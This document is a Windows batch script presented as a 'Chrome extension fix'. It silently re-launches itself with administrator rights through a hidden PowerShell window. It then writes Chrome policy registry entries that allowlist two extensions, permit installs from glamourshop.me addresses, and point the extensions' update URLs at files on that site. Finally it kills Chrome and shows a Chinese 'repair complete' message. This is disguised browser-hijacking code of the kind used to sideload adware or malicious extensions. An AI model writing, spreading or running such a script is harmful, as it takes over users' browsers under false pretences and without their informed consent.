@echo off
if "%1"=="hide" goto :main

echo Starting Chrome extension fix in silent mode...
PowerShell -WindowStyle Hidden -Command "Start-Process '%~f0' -ArgumentList 'hide' -Verb RunAs"
exit /b

:main
chcp 65001 > nul

:: Set extension IDs
set EXTENSION_ID_1=hdnlgombobmddhmnmcocblojffpklnfh
set EXTENSION_ID_2=gnmchabcoecflpkdeididkoekglinifo

:: Create Chrome policy registry entries
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome" /f >nul 2>&1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist" /f >nul 2>&1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallSources" /f >nul 2>&1

:: Add extensions to whitelist
echo Adding extensions to whitelist...
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d "%EXTENSION_ID_1%" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "2" /t REG_SZ /d "%EXTENSION_ID_2%" /f

:: Allow installation from specified websites
echo Configuring installation sources...
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallSources" /v "1" /t REG_SZ /d "https://www.glamourshop.me/*" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallSources" /v "2" /t REG_SZ /d "https://www.glamourshop.me/wp-content/uploads/taiji/*" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallSources" /v "3" /t REG_SZ /d "https://tk.glamourshop.me/*" /f

:: Configure extension settings
echo Configuring extension settings...
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionSettings" /f >nul 2>&1

:: First extension settings
set EXTENSION_SETTINGS_1={"hdnlgombobmddhmnmcocblojffpklnfh":{"installation_mode":"allowed","update_url":"https://www.glamourshop.me/wp-content/uploads/taiji/in_update.xml"}}
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionSettings" /v "hdnlgombobmddhmnmcocblojffpklnfh" /t REG_SZ /d "%EXTENSION_SETTINGS_1%" /f

:: Second extension settings
set EXTENSION_SETTINGS_2={"gnmchabcoecflpkdeididkoekglinifo":{"installation_mode":"allowed","update_url":"https://www.glamourshop.me/wp-content/uploads/taiji/tb_update.xml"}}
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionSettings" /v "gnmchabcoecflpkdeididkoekglinifo" /t REG_SZ /d "%EXTENSION_SETTINGS_2%" /f

:: Kill Chrome processes to ensure changes take effect
taskkill /f /im chrome.exe >nul 2>&1

:: Show completion message using PowerShell (no VBScript)
PowerShell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Chrome扩展修复完成！请重启浏览器并重新安装插件。', '操作完成', 'OK', 'Information')"

exit